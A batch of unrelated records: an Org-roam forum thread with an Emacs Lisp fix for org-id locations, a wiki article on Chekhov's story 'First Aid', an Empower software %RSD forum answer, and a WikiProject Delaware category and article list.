(defun my/org-id-update-location-at-org-roam-db-insert-file ()
"Update `org-id-locations-file' and hash table.
It's meant to be used with `advice-add' :after
`org-roam-db-insert-file'. We can assume that this function is
run wihtin a buffer visiting a file being inserted, as
insert-file is run within `org-roam-with-file' macro."
(when-let ((id (org-entry-get 1 "id")))
(org-id-add-location id (buffer-file-name))))
(advice-add #'org-roam-db-insert-file :after #'my/org-id-update-location-at-org-roam-db-insert-file)
EDIT: as you can see, it only works for file nodes.
1 Like
@jprussell
For future reference.
I have just upgraded to the latest commit 0a7d365, and observe that this behaviour is no longer the case; without the ID in the org-id-location-file cache, Org-roam does not recognise a file as a node.
The custom code above works (it adds the Org-ID location cache just before Org-roam tries to find the ID in a newly created file).
Ah, thanks very much for the heads up. I haven’t had a chance to try your code yet, but I’ll give it a shot tonight or tomorrow.
I was able to solve my other use case by adding a hook that calls org-id-get-create after a new file is created by org-journal (I currently use org-journal for daily entries, I haven’t checked out the native org-roam dailies yet).
If you are on Windows, you might like to wait a little bit longer to upgrade (issue I reported) | ESSENTIALAI-STEM |
First Aid (short story)
"First Aid" (Скорая помощь) is an 1887 short story by Anton Chekhov.
Background and publication history
According to Mikhail Chekhov, the story was based upon the author's experience during his stay in the village of Babkino. In the 27 June 1884 letter from Voskresensk to Nikolai Leykin, Chekhov related one occasion from his practice as a doctor, several details of which proved to be close to those described in the story.
"First Aid" was first published on 22 June 1887 by Peterburgskaya Gazeta (issue No. 168), signed A. Chekhonte (А. Чехонте). Chekhov revised the text before including the story into the collection Nevinnye rechi (Невинные речи, Innocent Speeches), making the scribe a pathetically pompous figure, and adding more comic elements to an otherwise tragic story. Later he included it into volume one of his Collected Works published by Adolf Marks in 1899-1901.
Main characters
In the order of appearance:
* Gerasim Alpatych, a local starshina. Heavily drunk, he is unable to say a word no matter how hard he tries.
* Egor Makarych, a scribe. Decides to take the 'investigation' into his own hands. Comes up with the idea that the water should be 'pumped out' of the old man by way of throwing him up repeatedly into the air.
* Fyodor, 'the drowned man'. Sits on the bank, legs apart and repeats the same thing over again and again, about a guy who'd hired him as mason-plasterer, and demanded that he should respect him as if he were his own father for a wage of mere seven rubles. Alive before the 'resuscitation', dead after it.
* Anisim, the man who'd rescued the old man first time round. It is his remark, though ("...Only in the name is he alive, look closer, and he's already turned blue") that prompts the scribe to start the 'pumping out' procedure.
* Landowner, arrives at the scene late, with her manager Etienne (real name Stepan Ivanych). Orders the villagers to stop immediately 'this pumping out business' because "this is regarded as superstition nowadays" and demands that the old man should be given proper artificial respiration treatment (by way of "rolling him about and pressing his stomach and chest") as well as intensive rubbing. Her suggestion that the old man should "be given burnt feathers to sniff and be tickled" proves to be the final one.
Plot summary
The (unspecified) religious holiday has started, the villagers are drunk, and there's already been an accident. An old man from the neighbouring area had decided to cut his way short, staggered into the river, got himself into the vortex, started to yell and was rescued by the local man, Anisim. The old man (whom everybody refers to as 'the drowned one') seems to be more or less all right: he sits on the bank, muttering gibberish, being apparently severely intoxicated. The men around him, though, take this for the sign that "the soul half-left his body" and are very keen to bring 'the drowned one' to life, by throwing him up into the air on a burlap, as well as performing the 'artificial respiration' routine (which nobody knows apparently how to do properly). After a prolonged procedure which looks more like torture, the 'drowned one' is pronounced dead.
Reception
According to S.T. Semyonov, who wrote a book of memoirs on Leo Tolstoy, the latter, while praising Chekhov the humourist, considered some of his humour difficult to understand, citing "First Aid" as an example.
A. Basargin, reviewing the first volume of Chekhov's Complete Works, mentioned "First Aid" as the story "that depicts the helplessness of our peasants when it comes to all things medical." | WIKI |
%RSD Calculation
<p>Hi, I am using Empower SPM. I'm having trouble creating the custom field to calculate the %RSD. The results I am getting from the system does not match the RSD results in the Calibartion Table.</p><p></p><p>S010?.%..%RSD(Response) is this the correct custom field?</p><p></p><p>Thx </p>
Answers
• Hi Gilberto,
I think that problem might be that you need to specify which peak to calculate the %RSD for as response is a peak level variable. Your custom field that you are creating might also need to be a peak level field as well.
Try this
S010?.%..%RSD(Peakname[Response])
Is this result a number that you need to use in another custom field or is it something that you are reporting? If you are just reporting the number then you might be better off having your report method include this as a summary function for a table of the standards.
Let me know how you get on.
Fraser | ESSENTIALAI-STEM |
Wikipedia:WikiProject Delaware/Articles
=Category:Delaware= (1 article) - Delaware;
Category:Associations in Delaware
(1) - Committee of 100 (Delaware);
Category:Youth Organizations of Delaware
(1) - Scouting in Delaware;
Category:Buildings and structures in Delaware
(4) - Broad Dyke; Chase Manhattan Centre; Delaware State Capitol; Delmar Public Library;
Category:Airports in Delaware
(7) - List of airports in Delaware; Delaware Airpark; Dover Air Force Base; New Castle Airport; Summit Airport (Delaware); Sussex County Airport; Western Sussex Airport;
Category:Astronomical observatories in Delaware
(2) - Mount Cuba Astronomical Observatory; Delaware AeroSpace Education Foundation (DASEF)
Category:Bridges in Delaware
(6) - Chesapeake & Delaware Canal Bridge; Chesapeake & Delaware Canal Lift Bridge; Reedy Point Bridge; South Market Street Bridge (Wilmington); St. Georges Bridge (Delaware); Summit Bridge;
Category:Toll bridges in Delaware
(1) - Delaware Memorial Bridge;
Category:Churches in Delaware
(5) - Barratt's Chapel; Bethel Baptist Church (Delaware); Resurrection Catholic Parish (Wilmington); Saint Peter's Episcopal Church, Lewes, DE; St. Paul's Episcopal Church (Georgetown, Delaware);
Category:Energy resource facilities in Delaware
(1) - Delaware City Refinery;
Category:Forts in Delaware
(4) - Fort Casimir; Fort Delaware; Fort DuPont State Park; Fort Miles;
Category:Hospitals in Delaware
(1) - List of hospitals in Delaware;
Category:Houses in Delaware
(6) - Airport Villa, Delaware; Darley House; Hagley Museum and Library; Hale-Byrnes House; Henry Francis DuPont Winterthur Museum; Nemours Mansion and Gardens;
Category:Lighthouses in Delaware
(20) - Baker Shoal Range Front Light; Baker Shoal Range Rear Light; Bellevue Range Rear Light; Cape Henlopen Light; Cherry Island Range Rear Light; Christiana North Jetty Light; Delaware Breakwater East End Light; Delaware Breakwater Range Front Light; Fenwick Island Light; Fourteen Foot Bank Light; Harbor of Refuge Light; Liston Range Front Light; Liston Range Rear Light; Mahon River Light; Marcus Hook Range Front Light; Marcus Hook Range Rear Light; Mispillion Light; New Castle Range Front Light; New Castle Range Rear Light; Reedy Island Range Rear Light;
Category:Museums in Delaware
(4) - Delaware Art Museum; Hagley Museum and Library; Henry Francis DuPont Winterthur Museum; Zwaanendael Museum;
Category:Prisons in Delaware
(3) - List of Delaware state prisons; List of individuals executed in Delaware; Delaware Correctional Center;
Category:Restaurants in Delaware
(2) - Capriotti's; Deer Park Tavern;
Category:Shopping malls in Delaware
(3) - Christiana Mall; Concord Mall (Delaware); Dover Mall;
Category:Sports venues in Delaware
(13) - Alumni Stadium (Delaware State); Bob Carpenter Center; Bob Hannah Stadium; Daniel S. Frawley Stadium; Del Tech Stanton Gymnasium; Delaware Field House; Delaware Park Racetrack; Delaware Stadium; Dover Downs; Dover International Speedway; Memorial Hall (Delaware State); Pratt Gymnasium; Union Street Park;
Category:Golf clubs and courses in Delaware
(1) - Baywood Greens;
Category:Communications in Delaware
(0)
Category:Area codes in Delaware
(1) - Area code 302;
Category:Delaware media
(1) - List of newspapers in Delaware
Category:Newspapers published in Delaware
(2) - Newark Post; The News Journal;
Category:Radio stations in Delaware
(20) - List of radio stations in Delaware; List of radio stations in Delaware by frequency; WJBR-FM; WMPH; WAFL (FM); WAMS; WDEL; WDOV; WHYY-FM; WILM-AM; WNWK; WOCM; WOSC (FM); WSTW; WTMC (AM); WVUD; WWTX; WXHL; WZBH; Wzeb;
Category:Television stations in Delaware
(5) - List of television stations in Delaware; WHYY-TV; WMDT; WPPX; WRDE-LP;
Category:Television stations in Philadelphia
(9) - WGTW-TV; WHYY-TV; WPHL-TV; WPPX; WPSG; WPVI-TV; WUVP-TV; WWSI; WYBE;
Category:Delaware culture
(7) - Big August Quarterly; Clifford Brown Jazz Festival; Delaware Sängerbund; Little Italy, Wilmington; Music of Delaware; Our Delaware; Pumpkin chunking;
Category:Delaware artists
(1) - Howard Pyle;
Category:Delaware breweries
(3) - Dogfish Head Brewery; Fordham Brewing Company; Midas Touch Golden Elixir;
Category:Festivals in Delaware
(3) - Big August Quarterly; Clifford Brown Jazz Festival; Delmarva Chicken Festival;
Museums in Delaware
* see WikiProject Delaware/Articles
Category:Religion in Delaware
(0)
Category:Christianity in Delaware
(9) - John Campanius; Delaware-Maryland Synod; Episcopal Diocese of Delaware; New Castle Presbytery; Orthodox Church in America Diocese of Eastern Pennsylvania; Orthodox Church in America Diocese of Washington and New York; Reorus Torkillus; Roman Catholic Diocese of Wilmington; Southeastern District (LCMS); Hubert James Cartwright;
Churches in Delaware
* see WikiProject Delaware/Articles
Restaurants in Delaware
* see WikiProject Delaware/Articles
Category:Delaware writers
(12) - Bertice Berry; Christopher Castellani; Lawrence A. Cunningham; Ed Dee; Colleen Faulkner; James Dillet Freeman; Robert Gover; Frank Legato; Tom Mandel (poet); Howard Pyle; Mark E. Rogers; Gibbons Ruark;
Category:Economy of Delaware
(1) - Delaware locations by per capita income;
Category:Companies based in Delaware
(17) - Blyth, Inc.; ChexSystems; Citizenre; List of Delaware companies; DuPont; Four Rivers Transportation; Happy Harry's; Harlan and Hollingsworth; Hercules Inc.; House Industries; ILC Dover; Jade Tree Records; Total Wine & More; Vulcan Corporation; W. L. Gore and Associates; WSFS Bank; Wilmington Trust;
Delaware breweries
* see WikiProject Delaware/Articles
Category:DuPont
(37) - DuPont; Donaldson Brown; Uma Chowdhry; Corfam; Corian; Cromanet; Delrin; DuPont Central Research; DuPont Experimental Station; DuPont and C-8; Duco; E. I du Pont de Nemours Company; Haloalkane; Hexazinone; Charles O. Holliday; Hypalon; Irving S. Shapiro; Kalrez; Kevlar; Krytox; M5 fiber; Nafion; Neoprene; Nomex; Nylon; Sean O'Keefe; Percodan; Polytetrafluoroethylene; Qiana; John J. Raskob; Silverstone (plastic); Tyvek; Vespel; Charles Marstiller Vest; Viton; Zodiaq; Zytel;
Du Pont family
* see WikiProject Delaware/Articles
Hospitals in Delaware
* see WikiProject Delaware/Articles
Category:Tourism in Delaware
(0)
Airports in Delaware
* see WikiProject Delaware/Articles
Category:Visitor attractions in Delaware
(0)
Botanical gardens in Delaware
* see WikiProject Delaware/Articles
Golf clubs and courses in Delaware
* see WikiProject Delaware/Articles
Museums in Delaware
* see WikiProject Delaware/Articles
Category:Education in Delaware
(8) - Association of Delaware Valley Independent Schools; Claymont Stone School; Delaware Academy of Medicine; Delcastle Technical High School; Hodgson Vo-Tech High School; Howard High School of Technology; New Castle County Vocational-Technical School District; St. Georges Technical High School;
Category:Boarding schools in Delaware
(1) - St. Andrew's School (Delaware);
Category:Elementary schools in Delaware
(5) - The Independence School; St. Edmond's Academy; The Tatnall School; The Jefferson School; Ursuline Academy (Delaware);
Category:High schools in Delaware
(40) - List of high schools in Delaware; Alexis I. duPont High School; Archmere Academy; Brandywine High School; Cab Calloway School of the Arts; Cape Henlopen High School; Charter School of Wilmington; Christiana High School; Concord High School (Delaware); Delaware Military Academy; Delcastle Technical High School; Delmar Senior High School; Delmarva Christian High School; Glasgow High School (Delaware); Hodgson Vo-Tech High School; Howard High School of Technology; Indian River High School (Delaware); John Dickinson High School; Lake Forest High School (Delaware); Mount Pleasant High School (Delaware); New Castle County Vocational-Technical School District; Newark High School (Delaware); Padua Academy; Pencader Charter High School; Polytech High School; St. Andrew's School (Delaware); St. Elizabeth High School (Delaware); St. Mark's High School; St. Thomas More Academy; Salesianum; Sanford School; Seaford High School; St. Georges Technical High School; Sussex Technical High School; The Tatnall School; Thomas McKean High School; Tower Hill School; Ursuline Academy (Delaware); William Penn High School (Delaware); Wilmington Christian School; Wilmington Friends School;
Category:Roman Catholic secondary schools in Delaware
(7) - Archmere Academy; Padua Academy; St. Elizabeth High School (Delaware); St. Mark's High School; St. Thomas More Academy; Salesianum; Ursuline Academy (Delaware);
Category:Charter School of Wilmington
(1) - Charter School of Wilmington;
Category:Independent schools in Delaware
(10) - Archmere Academy; Delaware Independent School Conference; The Independence School; St. Andrew's School (Delaware); Salesianum; Sanford School; The Tatnall School; Tower Hill School; Wilmington Christian School; Wilmington Friends School;
Category:Magnet schools in Delaware
(1) - Cab Calloway School of the Arts;
Category:Middle schools in Delaware
(6) - Cab Calloway School of the Arts; The Independence School; St. Edmond's Academy; The Tatnall School; The Jefferson School; Ursuline Academy (Delaware);
Museums in Delaware
* see WikiProject Delaware/Articles
Category:Private schools in Delaware
(10) - Archmere Academy; St. Andrew's School (Delaware); St. Elizabeth High School (Delaware); St. Thomas More Academy; Salesianum; Sanford School; Tower Hill School; Ursuline Academy (Delaware); Wilmington Christian School; Wilmington Friends School;
Roman Catholic secondary schools in Delaware
* see WikiProject Delaware/Articles
Category:School districts in Delaware
(8) - List of school districts in Delaware; Appoquinimink School District; Brandywine School District; Christina School district; Lake Forest School District; New Castle County Vocational-Technical School District; Red Clay Consolidated School District; Seaford School District;
Category:Universities and colleges in Delaware
(6) - List of colleges and universities in Delaware; Delaware State University; Delaware Technical & Community College; Goldey-Beacom College; Wesley College (Delaware); Wilmington College (Delaware);
Category:Delaware State University
(1) - Delaware State University;
Delaware State Hornets football
* see WikiProject Delaware/Articles
Category:Law schools in Delaware
(1) - Widener University School of Law;
Category:University of Delaware
(14) - University of Delaware; Ronald Ludington; Paul R. Jones Collection of African American Art; Petal and Thorn; Louis L. Redding; University of Delaware Botanic Gardens; University of Delaware Figure Skating Club; University of Delaware Greek Life; University of Delaware Mens Lacrosse; University of Delaware Police;
Delaware Fighting Blue Hens basketball
* see WikiProject Delaware/Articles
Category:University of Delaware faculty
(9) - Allen Barnett; Richard Hanley; Donald West Harward; M. A. Muqtedar Khan; David L. Mills; David L. Norton; David Smith (baseball historian); Charles Tilly; Shien Biau Woo;
Delaware Fighting Blue Hens football
* see WikiProject Delaware/Articles
Category:University of Delaware alumni
(20) - Kurt Akeley; Katherine Boehret; Scott Brunner (American football); Anthony DiMarzo; Rich Gannon; Tom Griffith; Andy Hall (American football); Rakesh Jain; Maureen Johnson; K. C. Keeler; Jeff Komlo; Mark McClafferty; Matt Nagy; Ben Patrick; Jim Quirk; Jack Rechcigl; Nancy Rechcigl; Dan Reeder; Nick Smith (U.S. politician); Vic Willis;
Category:Geography of Delaware
(2) - Captain John Smith Chesapeake National Historic Trail; Ebright Azimuth;
Category:Boundaries of Delaware
(5) - Finns Point; Mason-Dixon line; Transpeninsular Line; The Twelve-Mile Circle; The Wedge (border);
Category:Canals in Delaware
(2) - Chesapeake and Delaware Canal; Lewes and Rehoboth Canal
Category:Intracoastal Waterway
(10) - Intracoastal Waterway; Waterways forming and crossings of the Atlantic Intracoastal Waterway; Chesapeake & Delaware Canal Bridge; Chesapeake & Delaware Canal Lift Bridge; Chesapeake Bay; Chesapeake and Delaware Canal; Delaware Bay; Reedy Point Bridge; St. Georges Bridge (Delaware); Summit Bridge;
Chesapeake Bay
(3) - Builders for the Bay; Captain John Smith Chesapeake National Historic Trail; Chesapeake Bay Program;
Chesapeake Bay Watershed
* see WikiProject Delaware/Articles
Category:Delaware counties
(6) - Counties in Delaware; List of Delaware county name etymologies; List of Delaware county seats; Kent County, Delaware; New Castle County, Delaware; Sussex County, Delaware;
Category:County seats in Delaware
(3) - List of Delaware county seats; Dover, Delaware; Georgetown, Delaware;
Wilmington, Delaware
* see WikiProject Delaware/Articles
Category:Hundreds in Delaware
(14) - List of Delaware Hundreds; Appoquinimink Hundred; Blackbird Hundred; Brandywine Hundred; Cedar Creek Hundred; Christiana Hundred; East Dover Hundred; Mill Creek Hundred; New Castle Hundred; Pencader Hundred; Red Lion Hundred; St. George's Hundred (Delaware); White Clay Hundred; Wilmington Hundred;
Category:Kent County, Delaware
(36) - Kent County, Delaware; Barratt's Chapel; Bowers, Delaware; Camden, Delaware; Cheswold, Delaware; Clayton, Delaware; Dover Air Force Base; Farmington, Delaware; Felton, Delaware; Frederica, Delaware; Harrington, Delaware; Hartly, Delaware; Highland Acres, Delaware; Houston, Delaware; Kent Acres, Delaware; Kenton, Delaware; Killens pond; Lake Forest High School (Delaware); Lake Forest School District; Leipsic, Delaware; Little Creek, Delaware; Magnolia, Delaware; Milford, Delaware; Mispillion River; Murderkill River; List of Registered Historic Places in Kent County, Delaware; Rising Sun-Lebanon, Delaware; Riverview, Delaware; Rodney Village, Delaware; St. Thomas More Academy; Smyrna, Delaware; St. Jones River; Viola, Delaware; Woodside East, Delaware; Woodside, Delaware; Wyoming, Delaware;
Category:Dover, Delaware
(8) - Dover, Delaware; Delaware State Capitol; Dover International Speedway; Dover Downs; Hidden Acres, Delaware; ILC Dover; St. Jones River; Dover test;
People from Dover, Delaware
* see WikiProject Delaware/Articles
People from Kent County, Delaware
* see WikiProject Delaware/Articles
Category:Delaware county navigational boxes
(3) - Template:Kent County, Delaware; Template:New Castle County, Delaware; Template:Sussex County, Delaware;
Category:New Castle County, Delaware
(70) - New Castle County, Delaware; Appoquinimink Hundred; Appoquinimink River; Archmere Academy; Arden, Delaware; Ardencroft, Delaware; Ardentown, Delaware; Bear, Delaware; Bellefonte, Delaware; Blackbird Hundred; Brandywine High School; Brandywine Hundred; Brookside, Delaware; Centreville, Delaware; Christiana Hundred; Christiana Mall; Christina River; Claymont, Delaware; Concord High School (Delaware); Concord Mall (Delaware); Cooch's Bridge; Delaware City, Delaware; Delcastle Technical High School; East Dover Hundred; Ebright Azimuth; Edgemoor, Delaware; Elmhurst, Delaware; Elsmere, Delaware; Finns Point; Fort Christina; Fort Delaware; Fort DuPont State Park; Glasgow, Delaware; Greenville, Delaware; Hagley Museum and Library; Henry Francis DuPont Winterthur Museum; Hockessin, Delaware; Hodgson Vo-Tech High School; Howard High School of Technology; Kalmar Nyckel; Middletown, Delaware; Mill Creek Hundred; Mount Pleasant High School (Delaware); New Castle County Vocational-Technical School District; New Castle Hundred; New Castle, Delaware; Newark High School (Delaware); Newark Post; Newark Rail Station (Delaware); Newark, Delaware; Newport, Delaware; North Star, Delaware; Northwood, Delaware; Odessa, Delaware; Pea Patch Island; Pencader Hundred; Pike Creek, Delaware; Red Lion Hundred; Reedy Island; List of Registered Historic Places in New Castle County, Delaware; Saint Georges, Delaware; St. Mark's High School; St. George's Hundred (Delaware); St. Georges Technical High School; Swedes' Landing; Townsend, Delaware; Tybouts Corner, Delaware; White Clay Hundred; Wilmington Hundred; Wilmington Manor, Delaware;
People from New Castle County, Delaware
* see WikiProject Delaware/Articles
Wilmington, Delaware
* see WikiProject Delaware/Articles
Category:Sussex County, Delaware
(48) - Sussex County, Delaware; Bethany Beach, Delaware; Bethel, Delaware; Blades, Delaware; Bridgeville, Delaware; Broadkill Beach, Delaware; Broadkill River; Cape Henlopen High School; Dagsboro, Delaware; Delaware/Maryland Route 54; Delmar, Delaware; Dewey Beach, Delaware; Ellendale, Delaware; Fairmount, Delaware; Fenwick Island, Delaware; Frankford, Delaware; Georgetown, Delaware; Greenwood, Delaware; Gumboro, Delaware; Harbeson, Delaware; Henlopen Acres, Delaware; Hollymount, Delaware; Hollyville, Delaware; Indian River Bay; Laurel, Delaware; Lewes, Delaware; Lincoln, Delaware; Little Assawoman Bay; Long Neck, Delaware; Midway, Delaware; Milford, Delaware; Millsboro, Delaware; Millville, Delaware; Milton, Delaware; Mispillion River; New Market, Delaware; Ocean View, Delaware; Old Furnace, Delaware; List of Registered Historic Places in Sussex County, Delaware; Rehoboth Bay; Rehoboth Beach, Delaware; Seaford, Delaware; Selbyville, Delaware; Slaughter Beach, Delaware; South Bethany, Delaware; Trap Pond State Park; Zwaanendael Colony; Zwaanendael Museum;
People from Sussex County, Delaware
* see WikiProject Delaware/Articles
Category:Geology of Delaware
(5) - Geology of Delaware; Atlantic Coastal Plain; Piedmont (United States); Potomac Formation; Wissahickon Formation;
Category:Hiking trails in Delaware
(3) - American Discovery Trail; East Coast Greenway; Junction and Breakwater Trail;
Category:Landforms of Delaware
(0)
Category:Bays of Delaware
(4) - Delaware Bay; Indian River Bay; Little Assawoman Bay; Rehoboth Bay;
Category:Estuaries of Delaware
(1) - Delaware Bay;
Category:Headlands of Delaware
(1) - Cape Henlopen;
Category:Islands of Delaware
(2) - Pea Patch Island; Reedy Island;
Category:Barrier islands in Delaware
(1) - Fenwick Island, Delaware;
Category:Lakes of Delaware
(0)
Category:Peninsulas of Delaware
(1) - Delmarva Peninsula;
Category:Rivers of Delaware
(24) - List of rivers in Delaware; Appoquinimink River; Blackbird Creek (Delaware); Brandywine Creek; Broadkill River; Choptank River; Christina River; Hershey Run; Indian River (Delaware); Leipsic River; Little River (Delaware); Marshyhope Creek; Mill Creek (White Clay Creek); Mispillion River; Murderkill River; Nanticoke River; Pepper Creek (Delaware); Pocomoke River; Red Clay Creek; Sassafras River; Simons River; Smyrna River; St. Jones River; White Clay Creek;
Category:Delaware River
(5) - Delaware River; Cape May-Lewes Ferry; List of crossings of the Delaware River; Delaware Memorial Bridge; Three Forts Ferry Crossing;
Category:Tributaries of the Delaware River
(2) - Appoquinimink River; Christina River;
Category:Watersheds of Delaware
(0)
Category:Chesapeake Bay Watershed
(11) - Bohemia River; Builders for the Bay; Chesapeake Bay; Chesapeake Bay Program; Chesapeake and Delaware Canal; Chester River; Choptank River; Elk River (Maryland); Marshyhope Creek; Nanticoke River; Pocomoke River;
Category:Wetlands of Delaware
(1) - Great Cypress Swamp;
National Wildlife Refuges in Delaware
* see WikiProject Delaware/Articles
Category:Natural disasters in Delaware
(2) - Great Appalachian Storm of November 1950; Late November 2006 Nor'easter;
Category:Delaware hurricanes
(16) - List of Delaware hurricanes; 1821 Norfolk and Long Island hurricane; 1903 Vagabond Hurricane; 1933 Chesapeake Potomac Hurricane; 1944 Great Atlantic Hurricane; Tropical Storm Barry (2007); Tropical Storm Doria (1971); Gale of 1878; Great Havana Hurricane of 1846; Tropical Storm Henri (2003); Hurricane Connie; Hurricane Diane; Hurricane Esther (1961); Hurricane Floyd; Effects of Hurricane Isabel in Delaware; New England Hurricane of 1938;
Category:Settlements in Delaware
(3) - List of Delaware municipalities; Cedar Creek, Delaware; Pembrey, Delaware;
Category:Census-designated places in Delaware
(18) - Bear, Delaware; Brookside, Delaware; Claymont, Delaware; Dover Air Force Base; Edgemoor, Delaware; Glasgow, Delaware; Greenville, Delaware; Highland Acres, Delaware; Hockessin, Delaware; Kent Acres, Delaware; Long Neck, Delaware; North Star, Delaware; Pike Creek, Delaware; Rising Sun-Lebanon, Delaware; Riverview, Delaware; Rodney Village, Delaware; Wilmington Manor, Delaware; Woodside East, Delaware;
Category:Cities in Delaware
(10) - List of cities in Delaware; Delaware City, Delaware; Dover, Delaware; Harrington, Delaware; Lewes, Delaware; Milford, Delaware; New Castle, Delaware; Newark, Delaware; Rehoboth Beach, Delaware; Seaford, Delaware;
Dover, Delaware
* see WikiProject Delaware/Articles
Wilmington, Delaware
* see WikiProject Delaware/Articles
County seats in Delaware
* see WikiProject Delaware/Articles
Category:Metropolitan areas of Delaware
(1) - Delaware census statistical areas;
Category:Micropolitan areas of Delaware
(1) - Seaford, Delaware;
Category:Towns in Delaware
(49) - Bellefonte, Delaware; Bethany Beach, Delaware; Bethel, Delaware; Blades, Delaware; Bowers, Delaware; Bridgeville, Delaware; Camden, Delaware; Cheswold, Delaware; Clayton, Delaware; Dagsboro, Delaware; Delmar, Delaware; Dewey Beach, Delaware; Ellendale, Delaware; Elsmere, Delaware; Farmington, Delaware; Felton, Delaware; Fenwick Island, Delaware; Frankford, Delaware; Frederica, Delaware; Georgetown, Delaware; Greenwood, Delaware; Gumboro, Delaware; Hartly, Delaware; Henlopen Acres, Delaware; Houston, Delaware; Kenton, Delaware; Laurel, Delaware; Leipsic, Delaware; Little Creek, Delaware; Magnolia, Delaware; Middletown, Delaware; Millsboro, Delaware; Millville, Delaware; Milton, Delaware; New Market, Delaware; Newport, Delaware; Northwood, Delaware; Ocean View, Delaware; Odessa, Delaware; Owens Station, Delaware; Roxana, Delaware; Selbyville, Delaware; Slaughter Beach, Delaware; Smyrna, Delaware; South Bethany, Delaware; Townsend, Delaware; Viola, Delaware; Woodside, Delaware; Wyoming, Delaware;
Ghost towns in Delaware
* see WikiProject Delaware/Articles
Category:Unincorporated communities in Delaware
(30) - List of places in Delaware; Angola, Delaware; Bear, Delaware; Broadkill Beach, Delaware; Brookside, Delaware; Christiana, Delaware; Claymont, Delaware; Edgemoor, Delaware; Fairmount, Delaware; Gumboro, Delaware; Glasgow, Delaware; Greenville, Delaware; Gwinhurst, Delaware; Harbeson, Delaware; Highland Acres, Delaware; Hockessin, Delaware; Hollymount, Delaware; Hollyville, Delaware; Kent Acres, Delaware; Lincoln, Delaware; Long Neck, Delaware; Marshallton, Delaware; Midway, Delaware; North Star, Delaware; Old Furnace, Delaware; Pike Creek, Delaware; Rising Sun-Lebanon, Delaware; Riverview, Delaware; Rodney Village, Delaware; Saint Georges, Delaware; Wilmington Manor, Delaware; Woodside East, Delaware;
Category:Villages in Delaware
(3) - Arden, Delaware; Ardencroft, Delaware; Ardentown, Delaware;
Category:Delaware state forests
(1) - List of Delaware state forests;
Category:Government of Delaware
(10) - Chesapeake Bay Program; Delaware Attorney General; Delaware Capitol Police; Delaware Compensation Commission; Delaware Division of Alcohol and Tobacco Enforcement; Delaware State Capitol; Governor of Delaware; Lieutenant Governor of Delaware; Delaware Department of Natural Resources and Environmental Control; Delaware State Police;
Category:Delaware Attorneys General
(16) - Delaware Attorney General; Gunning Bedford, Jr.; Beau Biden; David P. Buckson; Thomas Clayton; Carl Danberg; George P. Fisher; George Gray (senator); Outerbridge Horsey; Jacob Moore; Daniel J. Layton; Charles B. Lore; John B. Penington; Nicholas Van Dyke (senator); Willard Saulsbury, Sr.; Josiah O. Wolcott;
Delaware law
* see WikiProject Delaware/Articles
Category:Delaware General Assembly
(3) - Delaware General Assembly; Delaware House of Representatives; Delaware Senate;
Prisons in Delaware
* see WikiProject Delaware/Articles
Category:History of Delaware
(6) - History of Delaware; Bancroft Mills; Delaware Colony; Hale-Byrnes House; List of Lieutenant Governors of Colonial Pennsylvania; List of Proprietors of Pennsylvania;
Category:Delaware colonial people
(3) - Richard Bassett; Valentine Hollingsworth; James Tilton;
Category:People of New Sweden
(2) - Samuel Blommaert; Peter Minuit;
Category:Governors of Swedish colonies
(6) - Peter Hollander Ridder; Mauno Kling; Peter Minuit; Måns Nilsson Kling; Johan Björnsson Printz; Johan Rising;
Category:Delaware in the American Civil War
(5) - Fort Delaware; Fort DuPont State Park; List of Delaware Civil War units; Mason-Dixon line; Pea Patch Island;
People of Delaware in the American Civil War
* see WikiProject Delaware/Articles
Category:Delaware Civil War regiments
(2) - Ahl's Heavy Artillery Company; List of Delaware Civil War units;
Category:Delaware in the American Revolution
(1) - Caesar Rodney's Ride;
Category:Delaware Line
(2) - Delaware Line; 1st Delaware Regiment;
People of Delaware in the American Revolution
* see WikiProject Delaware/Articles
Category:Archaeological sites in Delaware
(0)
Category:Disasters in Delaware
(0)
Natural disasters in Delaware
* see WikiProject Delaware/Articles
Category:Ghost towns in Delaware
(6) - Banning, Delaware; Glenville, Delaware; New Market, Delaware; Owens Station, Delaware; Saint Johnstown, Delaware; Zwaanendael Colony;
Category:New Netherland
(3) - New Netherland; Fort Casimir; Zwaanendael Colony;
Category:People of New Netherland
(4) - Samuel Blommaert; Peter Minuit; Pieter Corneliszoon Plockhoy; Wouter van Twiller;
Category:Wilmington, Delaware
(27) - Wilmington, Delaware; DuPont; James M. Baker; Cab Calloway School of the Arts; Chase Manhattan Centre; Christina River; Daniel S. Frawley Stadium; Delaware Military Academy; Delaware Park Racetrack; Delcastle Technical High School; Howard High School of Technology; MBNA; Nemours Mansion and Gardens; The News Journal; Padua Academy; St. Elizabeth High School (Delaware); Salesianum; Constance Simon; Sunday Breakfast Mission; Tower Hill School; Ursuline Academy (Delaware); WSFS Bank; WSTW; Wilmington Blue Rocks; Wilmington Drama League; Wilmington Friends School; Wilmington Station (Delaware);
Charter School of Wilmington
* see WikiProject Delaware/Articles
People from Wilmington, Delaware
* see WikiProject Delaware/Articles
Category:New Sweden
(5) - New Sweden; Fort Casimir; Fort Christina; Kalmar Nyckel; Swedes' Landing;
People of New Sweden
* see WikiProject Delaware/Articles
Category:Registered Historic Places in Delaware
(24) - Archmere Academy; Barratt's Chapel; Claymont Stone School; Darley House; Fenwick Island Light; Fort Christina; Fort Delaware; Fort DuPont State Park; Fort Miles; Fourteen Foot Bank Light; Hale-Byrnes House; List of Registered Historic Places in Kent County, Delaware; Liston Range Front Light; Liston Range Rear Light; Mahon River Light; Marcus Hook Range Rear Light; Mispillion Light; List of Registered Historic Places in New Castle County, Delaware; Reedy Island Range Rear Light; Robinson House; St. Paul's Episcopal Church (Georgetown, Delaware); List of Registered Historic Places in Sussex County, Delaware; Wilmington Station (Delaware); Wilmington and Western Railroad;
Category:Images of Delaware
(8) - Image:Delaware Memorial.jpg; Image:Newark Delaware.jpg; Image:UDMemorialHall1.jpg; Image:Udel - Gore hall.jpg; Image:Udel - Morris library.jpg; Image:Udel - Trabant center1.jpg; Image:Udel - Morris library.jpg; Image:Udel mall.jpg
Category:Delaware maps
(4) - Image:Delaware population map.png; Image:Delaware-counties-map.gif; Image:National-atlas-delaware.png; Image:Penncolony.png;
Category:Landmarks in Delaware
(0)
Category:Botanical gardens in Delaware
(4) - Delaware Center for Horticulture; Henry Francis DuPont Winterthur Museum; Mt. Cuba Center; University of Delaware Botanic Gardens;
Houses in Delaware
* see WikiProject Delaware/Articles
Lighthouses in Delaware
* see WikiProject Delaware/Articles
Museums in Delaware
* see WikiProject Delaware/Articles
Category:National Wildlife Refuges in Delaware
(1) - Bombay Hook National Wildlife Refuge;
Category:Parks in Delaware
(0)
Category:Delaware state parks
